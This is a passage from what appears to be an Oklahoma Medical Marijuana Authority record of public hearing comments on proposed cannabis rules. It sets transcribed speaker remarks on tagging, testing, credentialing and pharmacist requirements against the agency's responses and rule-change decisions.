system requirements and replace them with Hazard analysis critical control Point regulations due to current operational realities and limited regulatory resources cannabis operator should be granted the flexibility to utilize process validation alongside a hasip system rather than mandating a qms primarily due to the significant operational cost associated with implementing QMS which is predicted to be about A4 million dollar uh this includes employing a quality manager additional equipment additional third party testing training and maintenance by allowing process validation with an hasset frame work medical marijuana businesses can still uphold rigorous quality and safety standards while mitigating the financial burdens of a full QMS this approach acknowledges the unique challenges faced by cannabis businesses including tax burdens imposed by 280e while also being the only industry that exclusively required to test through third-party testing Labs which further makes this uh situation worse uh remember non-canon businesses such as commercial food pharmaceutical Industries test in-house and can write off such costs enabling and operationally cost effective QMS thank you so much really appreciate your time

Kevin Gallagher

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment relates to a statutory requirement rather than a proposed permanent rule. Process validation is required by HB3929 (2022) and codified in state statute at 63 O.S. 427.17 . It's important to note that changes to this requirement fall within the jurisdiction of the legislature and cannot be changed by OMMA. In terms of the proposed

permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
hi my name is Nick Serrano I own a Southwest genetics we're a nursery in Oklahoma City and um I wanted to speak about 442 10-4-5 specifically uh f3d e3f which is basically uh the tag requirements uh on the seat of sale so um nurses are a little different than Growers that grow for flow we're often overlooked uh legislation Tech a lot of aspects where uh some of these rules are trying to place um on The Growers that Harvest or flow and they don't quite mesh with what we do uh we're a vendor for most of these grows and uh as a result our our costs are a little different you know our sales um for instance a colog might be $6 whereas a flower of pound might be or a pound of flow might be $1,000 so some tags that are required now on clones every clone whether it's 12 in um a mother plant becomes a little onerous for us um I calculated about 133% is a c new cost for us with this um this enacted new new rule um what I was hoping is that we could continue with using uh package tags on transfers and not using these individual plant tags um so that's number one number two the uh the 12in rule seems a little odd to me I'm not sure why it was 12 in was the choice for the height of the uh the Clone to uh fix a tag to it mentions using a lower branch on a 12 in plant but for example most plants that are 12 in tall um the branch will not hold uh a tag on that it's just won't it's like a node really if you know what that means um also where do we start measuring 12 in is it from that first Branch where you want the tag at is it Top of the Rock Wall is the base of the rock wall the bottom of the lowest root if that's considered still the plant so it's just a little ambiguous um because of the ambiguity on the 12 in I would like to just stick with the uh the package tags um you know we cut thousands of clones a week um if we root every one of those clones say 4,000 you know you just do the math it's simple it's 45 cents per tag becomes expensive um in addition I think the mother plants that it mentions uh we some we s those as well and uh in the legislation I believe it said or the the rule it says that if plants cannot change into uh for Harvest change form for Harvest and processing so sometimes those mother plants that we have can change into that so they wouldn't fall on the definition of a mother plant so anyway um that's mainly it uh and I would like to propose no new rules thank you

Nick Serrano

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. These proposed rules are the product of numerous conversations with a broad group of stakeholders, including the entirety of the public comment period. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
good morning uh my name is Joshua graston I wear several hats in the industry um a couple of those that are relevant I'm the director of alchemy of a company called be beehive blinds um which is based in Utah which is a state that requires a pharmacist on site at all dispensaries I'm here in the state of Oklahoma I own a company called big bank canana that both consults and works with with over a dozen different Oklahoma medical marijuana processors and dispensaries as well I am the director of scientific operations

for j3 hempco which has a national presence I would like to speak to you today regarding Senate Bill 1979 I understand the logic behind wanting a pharmacist on side of every dispensary but if we look at the way the bill is written currently it changes the word dispensary manager to mean pharmacist it means they have to be there to unlock the doors it means they have to be there to verify every patient card it specifies that they they have to be the one providing the educational benefits they have to be the one conducting the transactions this is a problem for a lot of reasons the first of which that I see is that in a pharmacist education the entirety of it they receive two hours of training on the possible benefits of medical marijuana including an hour and 15minute video produced by the DEA and that's their education on top of that the average salary of a pharmacist in the state of Oklahoma as of last month was4 $4,000 but they've got to be there for every transaction so every dispensary that operates 24 hours is going to need three of them this rule has the best intentions but because it is based in an uneducated move it is going to have Monumental consequences to every dispensary and even if they survive it's going to drive up the cost of right now what is very affordably priced medication that a lot of patients are using I understand the need to regulate our industry but it's should not be done from a place of ignorance or punitive damages to the people that have put their livelihood into it those are my comments thank you

Joshua Grashton

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment relates to proposed legislation rather than a proposed permanent rule. It's important to note that changes to proposed legislation fall within the jurisdiction of the legislature and cannot be changed by OMMA. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
is it okay to sit in this chair now all right it wasn't clearly marked so I just wanted to make sure my name is Ronald edward Durban II uh I am here to speak on behalf of myself uh as I always do I speak on behalf of myself and my Nikes that I'm wearing that day uh I do happen to also represent hundreds upon hundreds upon hundreds of medical marijuana businesses in this state I think think I'm well over 450 at this point I stopped counting quite a while ago the fact uh of the matter is I've already submitted public comments online related to the rules uh but I just wanted to comment about a few things the fact that any of you are still smiling after anybody speaks here today is a deplorable state of how you feel about this industry you all specifically have ruined this industry by not listening to these people if anything that today has should have taught you was that your Rule making process is backwards you should be listening to these people in boards and panels of experts before you propose rules and regulations that are going to impact them so they can provide you some guidance and insight there's some smart people that have spoken here today far smarter than I am that know things that I can't even possibly imagine they've woken me up to some areas of change that need to happen so now I need to start listening to them as I continue the fight that I'm on but the fact of the matter is your your whole agency is designed to help fix this to regulate it in a sane and reasonable Manner and you don't do any of that you know I understand Barrett that you don't want to be here and that you you were just writing it out so you get your student loans paid as you directly told me when we were at dinner one night I get that I understand wanting those student loans paid fortunately I had my college paid for because I was really smart and good at it I understand Adria that I've heard a rumor that you're leaving the agency I pray with all of my being that that is correct and we can get somebody in here that wants to work with these businesses and develop rules and

regulations that make logical sense not the SCH mimy mess of what you've created you know you take a problem and you don't work to fix it by working with the industry you just come up with some new problem and you throw one on everybody like the 12-in rule look I've quizzed your investigators and your agents on the stand multiple times they need to be trained better you need to shift back to the policy of not being a law enforcement agency but being a regulatory agency that's trying to work with your businesses stop the racism that's going on with these folks you got people who are trying to change their licenses you provide no guidance on how their licenses going to transfer you've got athenia system that's absolutely broken you don't tell the people it's broken and it's causing you those problem you tell Representatives those things you don't communicate to the people whose livelihoods are hanging in the balance because you all can't get the job done and you don't have the konas to say we've got problems with our contractors you know a little honesty a little transparency and a little bit of involving these folks don't listen to me they know far more than I do about all of this stuff they're in it every single solitary day you shouldn't ask me how to grow a plant how to process you know things to save the turps you shouldn't ask me any of those specific questions on how to run a laboratory you should ask these folks what the regulatory process should be is reversed and I urge you to do that thank you

Ron Durbin

OMMA Evaluation:
Thank you for your comment. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we appreciate you sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
so my name is Darrell Carnes a lot of people in here know me you know me I met you you know we had conversation about the promises that you would make to this industry and you haven't kept them we're going to continue to do the things that we can to Advocate and change these things one of the things I specifically want to talk about is apppendic C the stacking of fines on these businesses claiming in a false emergency you've have abused that power we're going to prove that you abused that power 100% we're going to prove you've abused that power you declare emergency we go to the alma courts they say it's not an emergency but then these people have now had to get legal representation they've been exploited they've had the stacking of finds when are we going to follow what in any other industry is an administrative law where you have the opportunity to review have notice and fix something no but you'd rather just stack on the egregious nature of just thousands and thousands and sometimes millions of dollars on fines on these businesses and what are they supposed to do what are they supposed to do you don't give them you don't follow the law with the opportunity to fix anything that is in the law by the way and you ask people to follow these rules we've got 130 pages of rules that change all the time every single time we're here something about the rules is changing and you expect everybody to follow them when are you going to follow the rules when are you going to approve a license within a 90-day period and not two years it's amazing it's amazing how there's so many people in this room that are setting a year or two years that they don't have a a freaking approval of a license but when you want your new money when you want another year approval they can call in there and they say oh well we'll hit the green light on what you've been waiting on a year for because we want to collect more money from you what about this 12 inch on the plant I've got to talk about that too and thank you so much for whoever brought that up because that's absolutely ridiculous it should be based on what the plant is used for what is the purpose not no size that doesn't determine maturity that doesn't determine purpose and ultimately it's not even a fre medical

marijuana product is a damn plant that the Department of Agriculture should have regulatory authority over until you send it into flow it should be when you send a plant a flower that's when it gets a freaking tag ultimately we're talking about you want people to follow the rules but you don't follow the rules yourselves you want people to do the right thing and you go and you have and and I got to commend you I'll commend you on one thing right because this entire industry is going to launch body crammers too so great job I know you've seen the live I know you've seen and I made the announcement before you did and I know you showed up to somebody that uh to their property of course you on site by the way because they reached out to their legislators which I feel is a retaliatory measure but the the the body cameras are going to be great they're going to be great on both sides now you can't go and you can't go lie down into the courts we can't have a judge that's going to be sleeping we're going to have the evidence we're going to have a mutual exchange and you're going to have evidence just like we're going to have evidence and we're going to continue to fight for this industry and I understand that you're on a mission because your Governor just went and blamed it all on y'all said it was the OM the obndd and the uh who was it the Attorney General's office and they eliminated 76% of lenses which by the way you know as well as I do is a blatant lie I don't know if that's the goal But ultimately it's been about 42 to 44% which is egregious thank you so much I'm Daryl

Darrell Carnes

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. State statute, particularly 63 O.S. § 427.3, allows the Authority to promulgate rules and assess fines. As it relates to the 12" height for tagging plants, these proposed rules are the product of numerous conversations with a broad group of stakeholders, including the entirety of the public comment period. Although the Authority won't be making changes to our rules based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
I'm Marvin Miller and I got to follow those two guys all right right I just have a a question on uh sub chapter 11 the process validation it it starts out in the purpose saying that it's voluntary but then the process validation report subsection 7 says that it has to be filed annually so you're requiring us to prepare 15 Sops and file them then in addition to that apparently we're also supposed to file either a self assessment which is a form apparently you guys are going to prepare for us or an ISO validation certificate which is not applicable to every part of the industry and then I assume this is a typo but you're also requiring that this requires a $5,000 fee I assume that's supposed to be $500 um and it appears that it's an addition to our other fees so if you have a tier one license e at 2500 they have to pay their 2500 fee plus 5,000 for a validation which is voluntary but it's not so thank you

Marvin Miller

OMMA Evaluation:
Thank you for your comment and thoughtful suggestions. HB 4056 (2022) and 63 O.S. § 427.17 required changes to required laboratory testing rules while HB3929 (2022) and 63 O.S. 427.17 required process validation. Additional changes to this statutory requirement can only be made by the Legislature. While the Authority will not be making changes to our rules based on this specific comment, please know that

we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
good morning thank you so much for giving us all this opportunity it's great that we have a chance to let you know how these rules affect us and so my comment is about employee credentials according to the rules if the minimum statutory requirements are not met the employee credential will be denied but the rules don't State what these requirements are the rules state employees must apply for and receive credentials prior to employment with all the issues with credentialing this could hinder businesses from hiring new employees there have been many issues with credentialing such as Social Security numbers and pictures not being accepted so much so that the deadline was extended to to the end of February all the time makes the rules that they don't follow or are impossible to comply with for example the fingerprint check this is another rule made that can't follow it has aversely affected businesses by delaying the renewal process since the mass rejection for fingerprint attestation how many licenses have been renewed because mine is at day 86 since my fingerprint attestation was resubmitted I doubt will process my license in the next 4 days and that's om not following their own 90-day rule to process applications the Ma has all kinds of fines and consequences for businesses not following the rules and I'd like to see similar fines and consequences apply to when they don't follow the rules maybe then maybe then we could run our businesses with the efficiency and Trust in our governing body thank you so

: but that's it works different in cannabis haven't you heard Barrett so uh I just wanted to point out one maybe overlooked Factor by the the state agent agencies and it doesn't matter if the number is 1% of businesses are shut down or 99% of businesses areshut down for every single business that had signed up to become legitimate is what we called it because having an Oma license did not make us legitimate it made us a criminal after you added the word criminal to it but anyway so for every license that had signed up to try to become legitimate and has been shut down I believe that it creates three to five black market Market businesses you've got a lot of equipment sitting around you've got a lot of nutrients sitting around you've got genetics sitting around you've got people trained in how to do it I mean I think they just pick up and go down the street and make their money anyway because they got to get it back

Brie Truet

OMMA Evaluation:
Thank you for taking the time to share your comment. This comment relates to state statute rather than a proposed permanent rule. The requirement that all medical marijuana business employees apply for and receive a credential authorizing the employee to work in a licensed medical marijuana business is mandated by SB 1704 (2022) and codified in state statute at 63 O.S. § 427.14b. The requirement that applicants submit a national fingerprint-based background check is required by state statute at 63 O.S. § 427.14. It's important to note that changes to these statutory requirements fall within the jurisdiction of the legislature and cannot be changed by OMMA. While the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
hey everyone my name is Summer and um just real quick on that 90-day rule keep in mind you guys that that is excluding weekends and excluding holidays but you wouldn't know that unless you called them to press them about your 90 days because I have also been in that boat one day to 90 you call and they say hey actually that's excluding weekends excluding holidays but you wouldn't know that unless you know that um but I'm born raised here in the state of Oklahoma and I have been affiliated with the Oklahoma medical marijuana industry since the passing of 788 my parents were one of the first 50 people in the state to be granted a Grower's license though they are no longer in the grow segment of the industry and have since moved on to retail um currently I hold ownership with one dispensary but I am also the operations and compliance manager for three dispensaries I also hold the same position for a Processing Company which is still in licensure development given all the new loops and hoops and mostly Hassle and misguidance from the front desk at the obndd even though the license was invested in at the announcement of the moratorium in 2022 today when I speak to you um I y'all or the authority I am grouping omma the obndd and the legislature into one as y'all are collectively who we as commercial lenses and patients have to constantly deal with um since the beginning I have been and still am filled with with so much gratitude appreciation respect honor and loyalty to the opportunity to pursue entrepreneurial Endeavors around cannabis right here in Oklahoma it has been liberating and lifechanging I often think about what life would have been like had my parents afforded this opportunity um in their time and how much further along the industry would be um in its efficiency and standards um when I think about the medical marijuana program in Oklahoma I often compare it to my youngest child who was also born at the same time that this industry Flor began um and he is 5 years old he has a brother who's seven years older than him and look he looks up to his big brother as inspiration and that often leads him to thinking and believing that he himself is also 12 years old we are not Colorado at 24 years of medical we are not California at 28 years old we're not even Arizona Massachusetts or Illinois at 12 we are 5 years old folks the rate at which you all are implementing these changes upon us we can't keep up with and it looks as though y'all are purposely doing that to ensue failman on our end it seems as though you guys want us to fail my job is compliance this is my first time participating in open comment period publicly but every single year I download print those rules and regulations and I tear them apart hours hours hours 40 hours 80 hours 100 hours over and over reading y'all's rules and figuring out how I'm supposed to trans transmit this information to my team so that we can be compliant I just got hired at a new at a facility because they were about to close down because they got a $20,000 fine from you guys she the lady just she wanted to shut down she said I can't handle this I'm doing my absolute best but you guys didn't even have a way for her to pay her fine it seemed as though she was the very first person in this state to pay because you guys had no answers for her to where to go pay and when she got to the place you guys didn't even know that it would what to do with that so please before you guys Implement all these changes have a better structure to for us to follow a better way for you guys to relay the information to us because we're drowning and you guys don't care I would also like a little bit more sensitivity on the economic impact statement because it does affect us way more than you want to mention in that you guys are paid to be here today we had to lose money to be here today it cost us to be here today thank you

Summer Aurora

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. Pursuant to the Oklahoma Administrative Procedures Act, 75 O.S. § 303, the OMMA published a "Rule Impact Statement" on the agency website detailing any potential impacts to individuals. Additionally, a summary of proposed rule changes and where they occur are included in the "Notice of Rulemaking Intent" on the agency website. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
all right I have to get my four tiny notes here hi k um good morning everyone my name is Nancy Wallace I am a cannabis breeder so to start off I would like to say that in 5 years the state of Oklahoma and none of its agencies has been able to recognize a male plant so with all the men please get up and leave the room for this conversation oh you think you're important okay male plants are also very important they do not produce smokable flour uh psychoactive compounds but they do exist in our world and they don't deserve a 45 Cent plant tag sorry about that next is testing THC so this is an organic volatile compound it's called a VOC okay it changes every minute of every day whether it's growing on the plant or sitting in your jar a hash ball that is made today within 12 years will produce new cannaboids and compounds that do not even exist in the plant storage makes a huge difference prepackage will be a nightmare you will prepackage microbes molds funguses diseases by the time you open it it will be no good the percentage of THC is directly related to the amount of moisture in a plant so when you test quickly and early you will get higher THC numbers when you go to the store and you purchase that product two months later it will not have the same amount of THC in it THC degrades every single second of every single day so do not expect to go and pull something off the shelf and go oh that's not the right number because it's not the right number for that every if you want the right number it has to be tested every day oh uh I don't know the number of businesses that have been shut down I bought two licenses at the moratorium and I have been regulated out of opening either one of them I born in Oklahoma I don't got no money I don't got y'all shoes I can't even afford the shoes you wear and yet you're imposing fines fees penalties new rules get a COO you get a COO and then I'll get [Applause] one how am I supposed to get a COO on a plastic hoop house in the middle of Oak in the middle of Oak uh oak fusky county is where I am there's nobody in oak fusky county to help me I got a a place in the middle of the county out in the middle of nowhere to try to be nice I'm like I didn't set up across the street from omma I tried to do the right thing and put myself out in an area where I wouldn't be near a school or a church or a neighborhood and by doing that I screwed myself out of any possibility to even open a business in Oklahoma because if I was in Oklahoma City or Tulsa County I'd be open right now but my last thing is that cannabis is not new this is not a brand new product this is not AI waiting to be discovered cannabis has been here for 5,000 years just because y'all don't know what's going on with it means you should ask somebody thank you for your time

Nancy Wallace

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment primarily focuses on statutory requirements and proposed legislation rather than administrative rule changes. . It's important to note that changes to this statutory requirement or any proposed legislation can only be made by the Legislature. Changes to OMMA proposed permanent rules require all Certificate(s) of Occupancy, Final Inspection Report(s), and Site Plan(s) be submitted with any new or renewal license application or location change request; the Authority may establish and enforce this requirement pursuant to 63 O.S. § 427.3(D)(11), 63 O.S. § 427.14(L), 63 O.S. § 427.14(G)(2), and 63 O.S. § 427.14(J). While the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:

hello everyone my name isSheena Wilton I want to thank everyone for being here today I'm speaking to you today as a patient a medical school student and the owner of We Came so far LLC titled after how tough this industry has been um I'm there's a lot of things I'd like to speak on but today I'm going to speak on sb1 1979 um I did have a colleague speak on that earlier about hiring a licensed pharmacist as a dispensary manager I don't find this to be sufficient Physicians are not allowed to even prescribe medical cannabis at all on a federal or state level it is simply a recommendation that they give to a patient hiring a pharmacist manager would s um who would just simply be recommending recommending cannabis as well um is to me a discrediting to a actual physician um let's see I think requiring a pharmacist is not only um will not only be um it will it will cost the dispensaries a lot of money so uh my colleague said earlier no if you have um you know a typical salary for a pharmacist and a typical shift and you'd have to have at least two to you know operate a standard business at standard operating hours um would be be very costly when these costs are passed down to our businesses and our dispensaries that ends up going to the patient when those prices are increased at the patient it just drives the black market even more um people have spoke on this today as well as the declining number of patients it's not that patients aren't using the product it's because of the regulations the stiffness that people are going back to where they feel comfortable and I think that is Our obligation to make sure that that doesn't happen um so I do not believe um having a pharmacist will be any benefit to our industry um and thank you

Sheena Wilton

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment relates to proposed legislation rather than a proposed permanent rule. It's important to note that changes to proposed legislation fall within the jurisdiction of the legislature and cannot be changed by OMMA. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
my name's Ron Brown I'm with what used to be cheer up Farms but because of y's regulations your rules your Coos your money that you wanted to get for OB and by making everybody put up a $50,000 bond has put me totally out he's 71 I'm 73 I put up a lot of money to do this for my grandson we can't maintain it because of the regulations you guys keep throwing at us you got stupid things like this thing you're coming up with now with putting in a pharmacist in a dispensary that ain't going to work DEA in Georgia done kick pharmacist out because that doesn't work it's against the law you guys have a problem with your cloning situation we can't clone a clone all of a sudden how can we keep our same genetics if we can't clone a clone I can go buy 10 seeds from the same person and get five different genetics I can't make maintain what I want to maintain by not being able to clone my clones furthermore it's very expensive to do it the way you have to do it with mothers if you can don't have to do the expense of that why have to do it you guys are adding problems to us that we don't need you're not helping us you should be working with us instead you're working against us it's like we're we're your enemy we don't understand why you're treating us this way we didn't you guys aren't up here to fight us you're supposed to be up here to regulate it and help us but your Ral changes from day today today today cannot keep on going we cannot maintain this I have a property I've had for 40 years I have to shut down my Gro because I have to put up a COO in a building that I built 40 years ago that I don't have an architect for I don't have all the silliness that you guys want to put in there for no reason at all it's been a businesses of five different businesses over the last 40 years with no problems you act like that the marijuana industry is going to pollute the world with

runoffs and chemicals and stuff that's not the way things work we don't put in extra chemicals in our plants that's going to run off and pollute anything we don't use anything in our plants that's going to pollute anything so you need to calm down on some of your rules and regulations and try and help the people in the industry do I have any time left I like to yield that to anybody wants to speak.

Ron Brown

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we thank you for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
I'd love to speak I don't know how long I've gotten I don't care my name is John Frasier I should have went by my screen name old school it's easier for you remember uh I am a cannabis patient and I'm Unapologetic for that you can count on that I got I was prescribed 61 mg hydrocodones for 12 years I was prescribed for Xanax for 12 years I was prescribed straight valliums all kinds of drugs for my maladies I've got a long list of maladies I got off all those pills for 12 years I I've got off every one of them with cannabis I'm also a double cancer patient I got uh open heart surgery 6 months ago I use cannabis up to the day I went into the hospital and I used cannabis as soon as I came out of the hospital I am for cannabis and you're not going to stop me to get stop using cannabis which of those bills am I against every one of them that's how I feel and I'm John Frasier and I represent patience in Oklahoma that's who I

uh all right first I want to say I want to thank everybody that came up here to speak because I want everybody to speak I want your word out here because great they're doing great okay and I want to apologize because what you saw a while ago was exactly I'm a patient I'm 6 months out from heart surgery triple bypass surgery uh uh it's real hard it takes two years to recover from trial bypass surgery anger that's one of the main things you've got to deal with whenever something like that you whenever I got in a disagreement with you while ago I go into fight or flight mode I would a a valum Cil something like that to calm me down no thank you I'll smoke a joint it will work so much better for me I do represent patients I'm a double cancer patient uh just recovering from from open heart surgery like I said that's whenever you talk about these THC limitations don't tell me what type of uh cannabis are how strong I need to be it I've been using cannabis since 1970 I know what I need now I always bring this up too for 12 years I was addicted to those pharmaceutical drugs for 12 years I was scared to death to take a drug test because occasionally they would bust me for cannabis and what I really hated they would do a false bust whenever I wasn't using cannabis and they said I was I hated those with a passion for 12 years I was scared to death to take a drug test but I would literally take a drug test right now today and you will not find any hydrocodone oxycotton fentel any of that in my system but I will Peg the meter on THC I guarantee you that CU I use all forms of cannabis and that's one thing I am doing is I'm testing the different forms of cannabis because I do love the Tarpin and the Tarpin are what work for me so much it's a THC yes the THC helps I use topicals Edibles uh suppositories the whole nine yards don't limit products don't tell us what our limitations on THC have to be because I've had to take if you've got neuropathy the pain is horrendous uh can all kinds cancer patients I've got all kinds of people that really need this I'm sorry I was kind of rambling there at the end but thank you very much and again thank you everybody for showing up we need this so much thank you again

John Fraiser

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
good morning my name is Brandon Mosley I'm with Baseline Laboratories I'm the owner there um I just had some comments uh since I'm limited to 3 minutes I'll keep it pretty much focused on the uh requirement of uh instrumentation that is in uh sub chapter 8 uh specifically the ICP Ms requirement um you guys give us three different detectors that we can test for potency with uh two to three different ionization potentials or or ionization methods for pesticides um same thing with the solvents you allow us to use a FID detector Ms whatever there but you specifically say that we are in the in the new rules limited to ICP Mass spectroscopy um we do ICP OES um it's just a simply a different detector um and we've proved that we can meet all the requirements with that detector that you have set forth for the MS um we pass all the proficiencies with OES um I've submitted um all of our latest method detection limit studies to uh agents of yours um I I think you should instead of limiting us to one type of Technology um we do a bunch of chemistry on the front end that allows us to see much lower uh detection levels than you could with traditional OES um because of the chemistry we do on the front end so I would like you consider maybe opening that up to additional types of detection instead of limiting us to one simply one type of detector for the metals that's all I got

Brandon Mosley

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment primarily relates to laboratory standardization recommendations as required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. It's important to note that changes to this statutory requirement fall within the jurisdiction of the legislature and cannot be changed by OMMA. As it relates to instrumentation for heavy metal analysis, the Authority will be making changes to permanent rules to clarify instrumentation for heavy metal analyte testing in **OAC 442:10-8-1(i)(4)(B)**.

Change:
The Authority broadened instrumentation for heavy metal analysis by adding “or Coupled Plasma Optical Emission Spectroscopy (ICP-OES)” in **OAC 442:10-8-1(i)(4)(B).**

Comment:
hello uh my name is Cole Alman I'm the laboratory director at Oklahoma compliance testing Laboratory uh I've submitted a couple of comments online I'll leave those alone I did want to touch on uh title 442 10861 uh as it pertains to p q and R that is the remediation and DEC decontamination and retesting of pesticides heavy metals and mot toxins um in these rules it states that once a retest is performed and it fails that that product can never be tested again um that that is there's nothing that supports that scientifically you could definitely continue to decontaminate that product they saying that you can only

wash your car once uh doesn't doesn't make a lot of sense and I would encourage us to revisit that um uh this one andone uh retesting policy hurts the small businesses the most as they have the least amount of capital when you take away an entire production batch or harvest batch from them um you you put them in a situation where they're going to have to choose between feeding their families or um selling products on the black market and what I would like to say is that we should do everything in our power to keep things regulated to keep things inside of metric and keep things from leaking out of our state which we all can probably agree things leak um so if if we could revisit that I'd like to demonstrate that one uh those retests are appropriate to continue to allow the licensees to perform and then two for pesticide failures and heavy metal failures specifically it states that um if you fail for those analytes that there is no remediation and that is factually false um if we would take the time I'd be happy to provide data to whatever standard you set uh I would demonstrate to you that through extraction you can leave those carcinogens behind uh and that those products are safe for human consumption post remediation um real quickly um I'd like to ask you guys Leverage The Power of the purse um you have some pretty large contracts to your vendors uh and as such if you if you ask them to do things in a firm way I do believe you could get more out of your vendors with cintia specifically um cintia does not have API integration uh we live in a world where all systems talk and for that to not be available to us is a huge hindrance we also ask that lenses keep additional records I understand that the industry is moving towards more regulation but I think it would benefit everybody in this room if that Data Vault was metric um not metric specifically but whatever seed to sale you choose um we shouldn't have to maintain sampling field logs separate from metric those should just be additional fields that you add to that transfer you're you're asking for paperwork on paperwork on paperwork you're asking for entities to perform functions that can be and I apologize 10 seconds it if you could just get license verification into metric so that it was an automated system it would improve everyone's life you would know instantly if someone was trying to move things that they weren't allowed to move you would know instantly you wouldn't have to wait you 18 months or three years for you to come on site and go through the lab's records uh would give you that opportunity to improve it for everybody and all that is is you guys putting the screws to them and saying hey we need you to maintain all compliance records in metric and not just maintain the the ones that you're already set up for uh we're talking six weeks here from a development side it would make everyone's lives better so please if you

Cole Allmon

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. It's important to note that changes to this requirement fall within the jurisdiction of the legislature and cannot be changed by OMMA. As it relates to remediation and decontamination testing, while the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
good morning my name is Kristen Thompson I'm an attorney I'm also the COO of tribe Edibles we hold both a grow and processing license um more or less we're a single Source brand um today I'd like to address uh chapter 1083 final form Vape testing um legisl intent of testing is to provide patients with the safe final form of a product um however uh Labs do not test Vapor which would be the the end form of a cartridge um they test the oil inside they break open cartridges exposing samples to Plastics metals and glass um including cartridge Hardware is arbitrary and the product is not tested in vapor form which should be be its true final form uh the proposed rules provide hardships for both labs and processors uh

they provide safety concerns for lab employees because they're now exposed to broken glass plastic and metals um and they provide Financial hardships for processors cartridge Hardware is anywhere from $3 to5 depending on the kind of discount that an processor can get and depending on the size of the cartridge um you can end up having to provide 10 cartridges in a sample so that's a $50 additional fee for anybody attempting to get something tested um so it's basically a waste of Hardware more or less because there's no test to the hardware I know labs are um who have presented comments as well are asking for a change in the definition of final form I would encourage you to please consider that I'd also cons encourage you to please consider um altering the idea of of either testing in final form being Vapor or testing the cart or having like requirements around what carts can be provided those are really the things that would be would provide final uh patient safety um the last thing I'd like to speak on is the credentialing process um while I do believe that this process is beneficial to understand who touches medical marijuana the 90-day allowance for ma to turn this process around provides hardships on license holders especially license holders who are attempting to backfill abandoned positions um coming from a business in HR it takes approximately 30 days to find a viable candidate and if that candidate is not aware that they need a pro uh uh to be credentialed um we're now asking for another 90 days for them to be approved for a position at that point backfilling is kind of a moot point right um the other thing I asked you to reconsider in credentialing in the 90 days review is um similar to the TA licenses and other uh licenses that people are applying for after the 90 days when om has not had the the time to address um the license you get an email that states that they need additional 30 days um I'd like you to please consider doing away with that additional email the rules and regs provide that you need the 90 days that you provided the 90 days but Ma being inappropriately staffed or not having the time or availability to review these this extra 30 days isn't necessary or it's also putting a hardship on some of these licenses thank you for your time

Kristin Thompson

OMMA Evaluation:
Thank you for taking the time to share your comment. This comment relates to state statute rather than a proposed permanent rule. The requirement that all employees of a medical marijuana business licensee apply for and receive a credential authorizing the employee to work in a licensed medical marijuana business is mandated by SB 1704 (2022) and in state statute at 63 O.S. § 427.14b. It's important to note that changes to statutory requirements fall within the jurisdiction of the legislature and cannot be changed by OMMA. As it relates to final form testing, while the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
hi I'm Carrie Lawrence and I represent the chronic Brands which would be chronic dockschronic poooa chronic news I could keep going but I'll stop I'm mainly wanting to discuss uh s SP 439 uh where it requires a physician to see someone face to face mainly a child um I started this right after 788 went legal I was one of the groups that traveled the entire state with about 30 of us and we went out to all the rural communities and we would do it Wednesday ThursdayFriday Saturday Sunday for three years straight I don't know if everybody knows that but these children out in these rural areas don't always have an opportunity to get in front of these doctors that would even be willing to give them their medical cards and so by offering virtual Services which is legal for anyone in the state of Oklahoma if you're an adult or a child if you're sick you can see a doctor via tele medicine so to discriminate on reer Madness to not allow ow a child to get their medical card is crazy um I had the pleasure of helping the Cersei family get their daughter their medical card I'm very nervous I don't know why um and when I met her daughter she

